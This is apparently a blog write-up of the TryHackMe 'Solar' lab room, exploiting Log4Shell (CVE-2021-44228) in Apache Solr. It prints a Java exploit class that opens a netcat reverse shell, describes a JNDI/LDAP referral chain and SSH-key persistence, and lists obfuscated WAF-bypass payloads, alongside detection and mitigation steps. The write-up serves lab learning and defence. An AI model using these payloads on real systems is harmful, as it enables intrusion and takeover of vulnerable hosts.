Solar, exploiting log4j

Solar is a TryHackMe box designed to introduce and explore CVE-2021-44228 also called log4shell. The idea is to gain a better understanding on how the vulnerability work and also provide knowledge on how to detect and mitigate/patch.

This room has been made by the great John Hammond.

A little bit of history

On December 9th, 2021, the world was made aware of a new vulnerability identified as CVE-2021-44228, affecting the Java logging package log4j. This vulnerability earned a severity score of 10.0 (the most critical designation) and offers remote code trivial remote code execution on hosts engaging with software that utilizes this log4j version. This attack has been dubbed “Log4Shell” - John Hammond

The vulnerability has been patched in the latest version of log4j (2.15.0rc2) but there is still potentially millions of applications vulnerable in the wild. (list)

Reconnaissance

Let’s start with our default nmap TCP port scan to find potentially vulnerable services.

sudo nmap -sS -T4 -p- 10.10.111.77 -vv 

PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
111/tcp  open  rpcbind syn-ack ttl 63
8983/tcp open  unknown syn-ack ttl 63

The application is accessible through HTTP, we land on a Solr 8.11.0 dashboard. Apache Solr is an open-source enterprise-search platform, written in Java (Wikipedia)

Discovery

The TryHackMe room make some Solr logs available for us to analyse.

In the logs, we can see requests to the path /admin/cores with a parameter called param={}
It could potentially be some GET or POST data sent with the request that gets include in the logs.

This param parameter could be an entry point as the log4j will try to “parse” entries to enrich data, which could lead to undesirable action like execution of code.

Proof of Concept

The basic payload syntax is ${jndi:ldap://IP}.
This payload use the JNDI (Java Naming and Directory Interface) functionnality to access external resources (and in our case a remote IP) using the ldap protocol.

If we were to open a listener on a port on our attacking machine and send a GET request to the path with a fake parameter containing the payload, we would see a connection back from the server.

This proves the log4j logging system query our attacking machine and is vulnerable to CVE-2021-44228.

Exploitation

The problem is that our listener does not understand the ldap protocol, for this reason we need a LDAP Referral Server that will redirect the client request to a secondary HTTP server hosting the malicious file that will be ultimately executed on the target.

We can use marshalsec as our LDAP Referall server. I will skip the java building step as it is not of interest here, but we should have a working LDAP server ready to run.

The next step is to create a malicious java class that will get executed on our target.

Exploit.java

1
2
3
4
5
6
7
8
9

public class Exploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash 10.9.25.40 4444");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

This simple code is a java class running a reverse shell using exec() method. Finally we need to compile the code into a .class executable with javac Exploit.java -source 8 -target 8.

We have everything we need to exploit the target. Now it’s time for the show !
We host the malicious .class executable on our python3 HTTP server.
We run the LDAP Referral server pointing to our python3 server and finally we open a listener on the port specified in the reverse shell.

The only thing left to do is to GET request the vulnerable server just like the PoC but with a path pointing to our Exploit file.

And we got our shell back ! Let’s summarize the exploitation chain.

1. Curl request to injectable parameter with payload to our LDAP controlled server
2. LDAP Referral server receives the request from Solr server and direct the connection to our second HTTP server
3. Our secondary HTTP server serve the malicious java class Exploit.class
4. The malicious java class is executed by the server and we receive our reverse shell in our listener.

Persistence

As we are the user solr, checking our home directory reveals a .ssh folder. We can create a persistence by generating a temporary key pair and add our public key to the .ssh/authorized_keys file.

We can now properly connect to the target using SSH.

Detection

Looking at the log inside the target, we see our injected payload.

In our context, the vulnerability is easy to detect because it appears in a single parameter in a GET request and we used the default payload but in a real world environment, it could be very difficult to find, and even harder because of the massive amount of bypasses.

John Hammond then shares some links from the community that worked hard those last few days to mitigate the threat.
Feel free to browse them.

Bypasses

The syntax we used in our payload is the default one and it might be caught by Web Application Firewalls (WAFs). The room shows some bypasses we can experiment with.

Here are some of them.

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${::-j}ndi:rmi://attackerendpoint.com/}

What we need to understand, is that bypasses can be of many forms because the attack targets log4j and payloads can also access all the “tools” log4j uses to do its magic.

Mitigation

A mitigation was released soon after the vulnerability was made public, we need to add the line SOLR_OPTS="$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true" in the system-wide configuration file /etc/default/solr.in.sh

Retrying our previous exploit now fail which is good !

Patching

At the time of writing this writeup, a lot of applications are still vulnerable to CVE-2021-44228, please take some time to better understand the vulnerability and look out for patches from vendors as it is a critical threat affecting millions of different devices from web servers to software clients.

Finally a message from John Hammond, I think is important to share.

Please be understanding of this frenzy. There are so many potential places that this log4j vulnerability could be present, we may never see the end of this vulnerability for a long, long time. The onus is on you, on me, on each and every one of us to raise awareness of this incident, and hold the community accountable for actively responding. When the time comes, roll out the patches that have been made available and continue to hunt for instances of this vulnerability. It takes a village.

Credits

I would like to thanks the amazing work from John Hammond for creating this room and being such a great actor in the cybersecurity community. Please check out his Youtube channel for more content and be free to complete this room as it will give you better knowledge to detect and mitigate the vulnerability.

Hope you enjoy reading !